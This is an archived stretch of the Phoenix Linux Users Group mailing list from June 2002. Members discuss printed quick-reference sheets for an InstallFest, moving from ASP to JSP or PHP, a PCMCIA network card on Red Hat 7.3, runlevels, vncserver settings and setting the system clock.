which has the bash quick ref.... -Derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:53:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:53:56 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Im fairly certain I have an emacs quick reference. Let me dig through my wealth of knowledge file.... Oh yeah duh... http://www.refcards.com/ That helps.. -derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:05:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:05:18 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 16:07:22 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: I dont have the original email but, I recall data doctors saying their program was innappropriate for disseminating the notion of the GNU\Linux operating system, because of the 'older' demographic. Could someone please pass this article: http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 on to the kind people at data doctors? Just because you are old, doesn't mean you are dumb nor that you like vendors to treat you like crap. ;) -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:16:05 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " -----Original Message----- From: Tom Achtenberg [mailto:toma@fh.org] Sent: Friday, June 14, 2002 2:05 PM To: 'PLUG Email list' Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 14:26:18 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <3D0A5F7A.1BE1AE2C@qwest.net> I don't know which is easier to pick up from an ASP point of view, but you could use asp2php to convert your ASP pages to PHP. PHP was very easy to pick up and learn for me. > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:30:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 14:30:10 -0700 (MST) Subject: Quick references Message-ID: I put this together for vi -- http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 17:33:54 -0400 Subject: Switching from ASP to JSP/PHP Message-ID: <20020614213356.DFXY8234.lakemtao06.cox.net@smtp.central.cox.net> PHP is a *lot* less over head (much easier to install). JSP (for me) is easier to use in on a java team (everyone can help with the code). Java tends to scale better (though I'm interested in seeing how the new PHP scales). hmmm one day I should capture all this down. Basically my advise is for just converting us PHP. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/14 Fri PM 05:05:18 EDT To: "'PLUG Email list'" Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:39:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Fri, 14 Jun 2002 14:39:00 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <20020614213900.13337.qmail@web9903.mail.yahoo.com> If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:54:35 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C1@mail.int.fh.org> Money is a concern and Cold Fusion is probably not an option. -----Original Message----- From: Terence Chang [mailto:peanutlen@yahoo.com] Sent: Friday, June 14, 2002 2:39 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Switching from ASP to JSP/PHP If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 15:20:51 -0700 Subject: Linux Dell and HP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C4@mail.int.fh.org> Good article in Information Week about Linux and Dell and HP. http://www.informationweek.com/story/IWK20020607S0018 And one about HP pushing Linux to it's e3000 server clients http://www.informationweek.com/story/IWK20020612S0002 Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Fri, 14 Jun 2002 15:27:29 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <3D0A6DD1.5010101@esaravana.com> I would say, it depends on what type of development you are planning to do. If it is a simple web site, I would say PHP. But if you are planning to implement complex enterprise wide intranet/internet service I will surely do it with Java/JSP. It has very robust frameworks and scales really well with Web frameworks like Struts and Velocity. For moving into JSP you need to learn Java. JSP is just a way of embedding Java in html. Sundar Tom Achtenberg wrote: >Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > >Tom Achtenberg >Developer, Information Technologies >Food for the Hungry / US >(480) 609-7750 (voice) >(480) 443-1420 (fax) >TomA@fh.org >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:27:13 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: If you're interested in converting existing ASP scripts to PHP, then asp2php will help you: http://asp2php.naken.cc/ On Fri, 14 Jun 2002, Tom Achtenberg wrote: > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:34:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:34:07 -0700 (PDT) Subject: Quick references In-Reply-To: Message-ID: Very cool... It would be really beneficial if we had quick sheets like this to hand out to everyone at the InstallFest. We definitely should have one on basic Linux commands, and one for vim would be great too (although I'm more inclined to show them "pico" at first). I'll make a list of common Linux commands and print out about 100 or so for the InstallFest. If anyone else wants to put together a list of commands for other commonly used Linux programs, that'd be great too. ~M On Fri, 14 Jun 2002, William Lindley wrote: > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:43:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 15:43:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 14. Jun, 2002 schwätzte Derek Neighbors so: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 This article reminds me. Jim mentioned the computer club out at our Sun City has asked for people to help their club members. I think we had a couple of people out there, but we could probably use more volunteers. Also, have we made sure the group out there knows about the West Side meetings at GCC? Speaking of meetings at GCC I believe we still need someone to present this month. I've heard great things about Matt's presentation last month, so we should have a large group in again this month. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 15:33:39 -0700 Subject: Quick references References: Message-ID: <3D0A6F43.1FE2AA2F@qwest.net> Nice little Quick Ref guide. > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:00:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:00:16 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Tom, Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) Thanks! Mark Phillips Phillips Marketing, Inc. 480 945-0798 office > > From: Tom Achtenberg > Date: 2002/06/12 Wed PM 01:40:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > Subject: RE: Redhat 7.3 CDs > > If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Wednesday, June 12, 2002 9:29 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > > Stop by New Vision and I'll give you a RH 7.3 CD set. > 1920 E Broadway Rd > Tempe, AZ > > > > On Tue, 11 Jun 2002, Mark Phillips wrote: > > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 16:08:17 -0700 Subject: Redhat 7.3 CDs References: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0A7761.FB2AB4C5@qwest.net> Rebuild the kernel without PCMCIA support builtin, download pcmcia-cs from sourceforge. I had to do this to get it to work on my laptop (Panasonic Toughbook CF-25mkII, P150). Stupid Yenta socket is the problem. I could send you my .config file for kernel 2.4.18 if you want. I got the starter config by downloading the kernel-2.4.18.src.rpm. Installing it (rpm -ivh kernel-2.4.18.src.rpm) and grabbing the appropriate config file from /usr/src/redhat/SOURCES/. Modified it by removing pcmcia support and a few other minor things that my system doesn't do under linux (like video4linux). Rebuilt it, rebooted, built pcmcia. Then was done. > Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. > > I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:12:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:12:46 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614231245.SJNE3097.lakemtao02.cox.net@smtp.east.cox.net> Thanks, I was able to conn a friend into downloading and burning a set for me. However, once installed on my Dell Inspiron 3000 I cannot activate eth0. I think it may be a pcmcia issue (my card ethernet card is pcmcia and not built in). I get a message on bootup for the pcmcia that says something like "ds sockets not available", but the pcmcia service is running and I do get an OK after the message. When I try to configure the network I cannot activate eth0. I am reduced to checking email at the library! If you have any suggestions, please let me know. It may take a few days for me to respond, however. Thanks again! Mark > > From: "slr" > Date: 2002/06/12 Wed PM 04:53:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can > email me off list and i will give you the info you'll need. > > slr > > On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > > working on. > > > > I know the install fest is coming up (I had intended upgrading this old > > machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > > better. > > > > I live in Scottsdale if there is someone close by, but I am willing to > > drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:29:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 14 Jun 2002 16:29:41 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <007701c213fb$5b8c8510$6501a8c0@devlap1> JSP is fairly similar to ASP - you can use request and response objects in both. JSP utilizes a more featured language - java, so you have good room to grow. J2EE also has servlets and EJB technology as you scale up. Our team migrated from ASP to JSP over the last few years without much of a problem. I have only limited experience with PHP and ColdFusion, so my advice is of no use to you there... Let me know if you need any recommendations for a J2EE server if you go that route.... Good Luck ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 14, 2002 2:16 PM Subject: RE: Switching from ASP to JSP/PHP > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > > -----Original Message----- > From: Tom Achtenberg [mailto:toma@fh.org] > Sent: Friday, June 14, 2002 2:05 PM > To: 'PLUG Email list' > Subject: Switching from ASP to JSP/PHP > > > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 14 Jun 2002 16:48:54 -0700 Subject: Quick references References: Message-ID: <3D0A80E6.77590ED2@leml.asu.edu> Matt Alexander wrote: > > Very cool... It would be really beneficial if we had quick sheets like > this to hand out to everyone at the InstallFest. We definitely should > have one on basic Linux commands, and one for vim would be great too > (although I'm more inclined to show them "pico" at first). > I'll make a list of common Linux commands and print out about 100 or so > for the InstallFest. If anyone else wants to put together a list of > commands for other commonly used Linux programs, that'd be great too. > ~M > > On Fri, 14 Jun 2002, William Lindley wrote: > > > I put this together for vi -- > > > > http://www.wlindley.com/gnu/vi.htm somewhere I remember seeing similar that was printed out on a folding sheet that was buisiness card size... I remember being able to put microprocessor assembly instruction quick refrence guides in my pocket... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Fri, 14 Jun 2002 17:14:07 -0700 Subject: Questions References: Message-ID: <002601c21401$9125eda0$6501a8c0@drghastly> Ok, i've look at the man page and tried editing the file, but it will not allow me to save it. I also cannot switch to the command line desktop because KDE GNOME and TWM are the only options....soo.? Not sure where to go from here ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:53 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > I assume by runlevel3 you mean my level of access? <----Noob. > > When your system boots up it consults /etc/inittab to find the default > runlevel. Your inittab most likely has this line: > > id:5:initdefault: > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > aliases to the scripts that will be executed at this runlevel. You'll > also see a line like this: > > x:5:respawn:/etc/X11/prefdm -nodaemon > > This line tells your box to run the X Window System at runlevel 5. You'll > also see other lines for tty's, etc. So, by changing to runlevel 3, > you're exiting out of the GUI environment. If you wanted to run your box > without the GUI, you could change the initdefault to 3 and always boot to > a console (I do this for all of my servers). Level 6 means reboot, so if > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > Init 1 is single-user mode. The other runlevels can be defined for > whatever purpose you'd like. > > Consult the inittab manpage for more detail. > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:56:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Fri, 14 Jun 2002 17:56:40 -0700 (PDT) Subject: vncserver Message-ID: <20020615005640.93691.qmail@web11501.mail.yahoo.com> This is just a quick question: How do I tell vncserver which window manager to use? I've tried editing the following files with no luck: /etc/vnc.conf ~/.vnc/xstartup ~/.vncrc I have done it before, but now that I need to do it again, I cannot figure it out. Anyone know where I need to tell it? -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:13:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:13:21 -0700 (PDT) Subject: Possible Fry's sponsorship? Message-ID: I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see if they'd be interested in contributing to the InstallFest. I'm mostly interested in getting as many of the Linux quicksheets that they sell as possible. But maybe they could donate books or Linux distros or whatever else. So, what has PLUG been offering to other businesses that are contributing? I'd like to go in and be able to say exactly what we can offer them in return. I'm guessing that other contributors are going to have signs up and other forms of advertising for their business? Anything else we're doing to recognize sponsors, etc.? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:15:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:15:42 -0400 Subject: Date??? References: <1024068299.29445.63.camel@hawk> Message-ID: <3D0A953E.81A1AFE6@georgetoft.com> This thread does not discuss how to save the time to CMOS, so the problem will return next reboot. Look at hwclock --systohc George Carl Parrish wrote: > > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:10:49 -0400 Subject: Questions References: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: <3D0A9419.281A17B7@georgetoft.com> Make sure you are root when you edit it. George "Dr.G" wrote: > > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 